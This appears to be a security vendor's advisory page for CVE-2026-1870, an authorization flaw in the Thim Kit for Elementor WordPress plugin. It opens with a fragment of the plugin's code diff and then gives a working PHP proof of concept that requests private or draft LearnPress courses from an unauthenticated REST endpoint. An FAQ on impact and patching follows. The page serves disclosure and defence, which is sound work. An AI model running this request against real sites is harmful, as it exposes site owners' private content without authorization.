+		$class = sprintf( 'ElementorThim_Ekit_Widget_%s', $class );
+
+		if ( ! class_exists( $class ) ) {
+			if ( class_exists( 'LearnPress' ) ) {
+				$lp_version  = LearnPress::instance()->version;
+				$widgets_new = [
+					'archive-course',
+				];
+				if ( version_compare( $lp_version, '4.2.6-beta-0', '>=' ) && in_array( $widget, $widgets_new ) ) {
+					$widget .= '-new';
+				}
+			}
+			$widget_file_url = $widget . '.php';
+
+			$file_function = function ( $file_url ) use ( $base, $widget ) {
+				$file       = apply_filters(
+					'thim_ekit/elementor/widget/file_path',
+					THIM_EKIT_PLUGIN_PATH . 'inc/elementor/widgets/' . $base . '/' . $file_url,
+					$widget
+				);
+				$file_theme = locate_template( 'thim-elementor-kit/' . $file_url );
+
+				if ( file_exists( $file_theme ) ) {
+					$file = $file_theme;
+				}
+
+				return $file;
+			};
+
+			if ( file_exists( $file_function( $widget . '/' . $widget_file_url ) ) ) {
+				$file = $file_function( $widget . '/' . $widget_file_url );
+			} else {
+				$file = $file_function( $widget_file_url );
+			}
+
+			if ( file_exists( $file ) ) {
+				include_once $file;
+			}
+		}
+
+		return $class;
+	}
+}
--- a/thim-elementor-kit/inc/elementor/widgets/archive-product/archive-product-category.php
+++ b/thim-elementor-kit/inc/elementor/widgets/archive-product/archive-product-category.php
@@ -1,802 +1,802 @@
-<?php
-
-namespace Elementor;
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Border;
-use ElementorGroup_Control_Typography;
-use ElementorGroup_Control_Box_Shadow;
-
-use Thim_EL_KitGroupC

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1870 - Thim Kit for Elementor <= 1.3.7 - Missing Authorization to Unauthenticated Private Course Disclosure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Construct the vulnerable REST API endpoint
$api_endpoint = $target_url . '/wp-json/thim-ekit/archive-course/get-courses';

// Prepare the malicious payload to request private courses
$payload = array(
    'params_url' => array(
        'post_status' => 'private'  // Also works with 'draft' or other non-public statuses
    )
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Accept: application/json'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: n";
    print_r(json_decode($response, true));
}

// Clean up
curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-1870?
Overview of the vulnerability
CVE-2026-1870 is a medium-severity vulnerability in the Thim Kit for Elementor plugin for WordPress, affecting versions up to and including 1.3.7. It allows unauthenticated attackers to access private or draft LearnPress course content due to missing authorization checks on a specific REST API endpoint.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the lack of authorization validation in the ‘thim-ekit/archive-course/get-courses’ REST endpoint. Attackers can send a direct POST request with a payload that includes a ‘post_status’ parameter, which can be set to ‘private’ or ‘draft’, allowing them to bypass normal content restrictions.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Thim Kit for Elementor plugin version 1.3.7 or earlier is affected by this vulnerability. Administrators can check their plugin version in the WordPress dashboard under Plugins.
How can I check if my site is vulnerable?
Steps for verification
To verify if your site is vulnerable, check the version of the Thim Kit for Elementor plugin in your WordPress admin panel. If it is version 1.3.7 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the plugin
The vulnerability has been patched in version 1.3.8 of the Thim Kit for Elementor plugin. Administrators should update the plugin to the latest version to mitigate this issue.
What if I cannot update the plugin immediately?
Temporary mitigations
If immediate updates are not possible, consider disabling the Thim Kit for Elementor plugin until it can be updated. Additionally, restrict access to the REST API endpoint if feasible.
What does the CVSS score of 5.3 indicate?
Understanding risk levels
A CVSS score of 5.3 indicates a medium severity level, suggesting that while the vulnerability is not critical, it can still lead to unauthorized data exposure. Administrators should treat it seriously and apply updates promptly.
What data can be exposed due to this vulnerability?
Types of sensitive information at risk
Successful exploitation of this vulnerability can disclose sensitive information such as course titles, descriptions, and metadata of private or draft LearnPress courses, violating content privacy controls.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept provided shows how an attacker can use a cURL command to send a POST request to the vulnerable REST API endpoint with a malicious payload. This demonstrates the ease with which unauthorized access to private course content can be achieved.
What are the long-term implications of this vulnerability?
Potential impact on educational content
If exploited, this vulnerability could lead to unauthorized disclosure of educational materials, undermining the integrity and privacy of course content. It is crucial for educational institutions to address this vulnerability to protect their intellectual property.
Is there any additional information available about this vulnerability?
Further resources
For more detailed information, including the full analysis and code changes, refer to security advisories from reputable sources or the official plugin repository where updates are documented.
How can I stay informed about future vulnerabilities?
Best practices for security awareness
To stay informed, regularly monitor security advisories from the WordPress community, subscribe to vulnerability databases, and follow best practices for maintaining plugin security, including timely updates and vulnerability assessments.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations